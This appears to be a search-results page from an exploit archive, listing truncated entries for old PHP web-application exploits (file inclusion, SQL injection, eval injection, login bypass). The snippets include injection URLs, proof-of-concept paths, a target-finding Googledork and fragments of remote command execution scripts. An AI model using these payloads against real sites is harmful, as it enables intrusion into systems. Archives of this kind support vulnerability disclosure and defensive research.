1820 matches found
Directory traversal
Directory traversal vulnerability in index.php in L2J Statistik Script 0.09 and earlier, when registerglobals is enabled and magicquotes is disabled, allows remote attackers to include and execute arbitrary local files via a .. dot dot in the page parameter, as demonstrated by injecting PHP...
L2J Statistik Script <= 0.09 (index.php page) Local File Include Exploit
No description provided by source. ? print ' | \ | \ \ / | | | | | | | \ \ \ / \ \ | \ \ / \ | \ | | | / \ | \ \ \ / / | | | | | | | | | | ||/ // |./ |/\ ./ |/ ||...
iG Shop 1.0 (eval/sql injection) Multiple Remote Vulnerabilities
Exploit for unknown platform in category web applications ================================================================ iG Shop 1.0 eval/sql injection Multiple Remote Vulnerabilities ================================================================ "If eval is the answer, then you are asking th...
igshop10-multiple.txt
"If eval is the answer, then you are asking the wrong question." --Unknowen ig-shop suffers from two eval's that can be controlled by an attacker: http://127.0.0.1/igshop/cart.php?action=;phpinfo;// ./cart.php line 692: eval "cart$action;"; http://127.0.0.1/igshop/page.php?action=;phpinfo;//...
HLStats <=1.34 (hlstats.php) Remote SQL Injection Exploit
No description provided by source. brb ?php / Live Exploit Code SQL Inection + Path Disclosure Affects HLStats HLStats =1.34 and Hlstats = 1.20 works with magicquotesgpc=On by Michael Brooks / print "titleHLStats SQL Injection Exploit/title body bgcolor='009900' font color='FF0000'...
HLStats <=1.34 (hlstats.php) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ========================================================= HLStats = 1.20 works with magicquotesgpc=On by Michael Brooks / print "HLStats SQL Injection Exploit...
HLStats 1.34 - 'hlstats.php' SQL Injection
= 1.20 works with magicquotesgpc=On by Michael Brooks / print "HLStats SQL Injection Exploit -------------------------------------------------------------------------------------------------------------------------------------------- Welcome To HLstats Exploit code. SQL Inection + Path Disclosure...
PHP-Proxima BB_Smilies.PHP本地文件包含漏洞
PHP-Proxima是一款基于PHP的WEB应用程序。 PHP-Proxima不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限查看系统文件内容。 问题是由于'BBSmilies.PHP'脚本对用户提交的'name'参数缺少过滤，提交包含多个"../"字符作为参数数据，可绕过WEB ROOT限制，以WEB进程权限查看系统文件内容。 PHP-Proxima 6.0 http://sourceforge.net/projects/phpproxima !/usr/bin/php -q -d shortopentag=on ? $devilteam = " :::::::...
opendocman <= 1.2p3 Bypass admin/user Login
opendocman = 1.2p3 Bypass admin/user Login affected to opendocman-1.2rc3 Download Source : http://www.opendocman.com/?pageid=14 Found By : k1tk4t - k1tk4t4tnewhack.org Location : Indonesia -- newhackdotorg @irc.dal.net file; index.php bugs; $query = "SELECT id, username, password FROM user WHERE...
PHPMyDesk 1.0 Beta - viewticket.php Local File Inclusion
PHPMyDesk 1.0 Beta - viewticket.php Local File Inclusion !/usr/bin/perl PHPMyDesk 1.0beta Remote Command Execution Exploit linK : http://www.cynux.com/phpmydesk/ cod3d and f0unded by Kw3RLn from Romanian Security Team a.K.A http://RST-CREW.NET Contact: ciriboflacsATYaHOo.com or [email protected]...
PHPMyDesk 1.0 Beta - 'viewticket.php' Local File Inclusion
!/usr/bin/perl PHPMyDesk 1.0beta Remote Command Execution Exploit linK : http://www.cynux.com/phpmydesk/ cod3d and f0unded by Kw3RLn from Romanian Security Team a.K.A http://RST-CREW.NET Contact: ciriboflacsATYaHOo.com or [email protected] File inclusion: www.site.com//viewticket.php?pmdlang=...
ComdevOneAdmin4.1.txt
// http://www.w4cking.com CREDIT: w4ck1ng.com PRODUCT: Comdev One Admin 4.1 http://www.comdevweb.com/oneadmin.php VULNERABILITY: Remote File Inclusion NOTES: - requires register globals on - requires magic quotes off POC: //oneadmin/adminfoot.php?pathdocroot= ADVISORY & EXPLOIT requires...
Php AMX 0.90 (plugins/main.php) Remote File Include Vulnerability
No description provided by source. phpamx 0.90 Class: Remote|Local File Include Vulnerability Patch: Unavailable Published 2006/10/18 Remote: Yes Local: No Type: High Site: http://sourceforge.net/projects/phpamx/ Author: MP Contact: [email protected] Vuln Code php/plugins/main.php: ?php...
PHP AMX 0.90 - pluginsmain.php Remote File Inclusion
PHP AMX 0.90 - pluginsmain.php Remote File Inclusion phpamx 0.90 Class: Remote|Local File Include Vulnerability Patch: Unavailable Published 2006/10/18 Remote: Yes Local: No Type: High Site: http://sourceforge.net/projects/phpamx/ Author: MP Contact: [email protected] Vuln Code...
Php AMX 0.90 (plugins/main.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================= Php AMX 0.90 plugins/main.php Remote File Include Vulnerability ================================================================= phpamx 0.90 Class: Remote|Local File Includ...
PHPRecipeBook <= 2.35 (g_rb_basedir) Remote File Include Exploit
Exploit for unknown platform in category web applications ================================================================ PHPRecipeBook = 2.35 grbbasedir Remote File Include Exploit ================================================================ !/usr/bin/perl PHPRecipeBook 2.36 Class: Remote...
Boonex Dolphin <= 5.2 index.php Remote Code Execution Exploit
No description provided by source. !/usr/bin/php ?php / Boonex Dolphin 5.2 Remote Command Execution / File Inclusion Vulnerability Note: Requires register globals to be on, and magic quotes gpc to be off. Usage: php script.php host path command Usage Example: php script.php domain.com /dolphin/...
Comdev One Admin 4.1 - Adminfoot.php Remote Code Execution
Comdev One Admin 4.1 - Adminfoot.php Remote Code Execution !/usr/bin/php //oneadmin/adminfoot.php?pathdocroot= Googledork: inurl:/oneadmin/ w4ck1ng - w4ck1ng.com / if!$argv3 die"Usage: php $argv0 host path command\n Usage Example: php $argv0 domain.com /dolphin/ whoami\n"; function send$host, $pu...
Comdev One Admin 4.1 - 'Adminfoot.php' Remote Code Execution
!/usr/bin/php //oneadmin/adminfoot.php?pathdocroot= Googledork: inurl:/oneadmin/ w4ck1ng - w4ck1ng.com / if!$argv3 die"Usage: php $argv0 host path command\n Usage Example: php $argv0 domain.com /dolphin/ whoami\n"; function send$host, $put global $data; $conn = fsockopen gethostbyname$host,"80" ;...
Boonex Dolphin 5.2 - index.php Remote Code Execution
Boonex Dolphin 5.2 - index.php Remote Code Execution !/usr/bin/php //templates/tmpldfl/scripts/index.php?dirinc= w4ck1ng - w4ck1ng.com / if!$argv3 die"Usage: php $argv0 host path command\n Usage Example: php $argv0 domain.com /dolphin/ whoami\n"; function send$host, $put global $data; $conn =...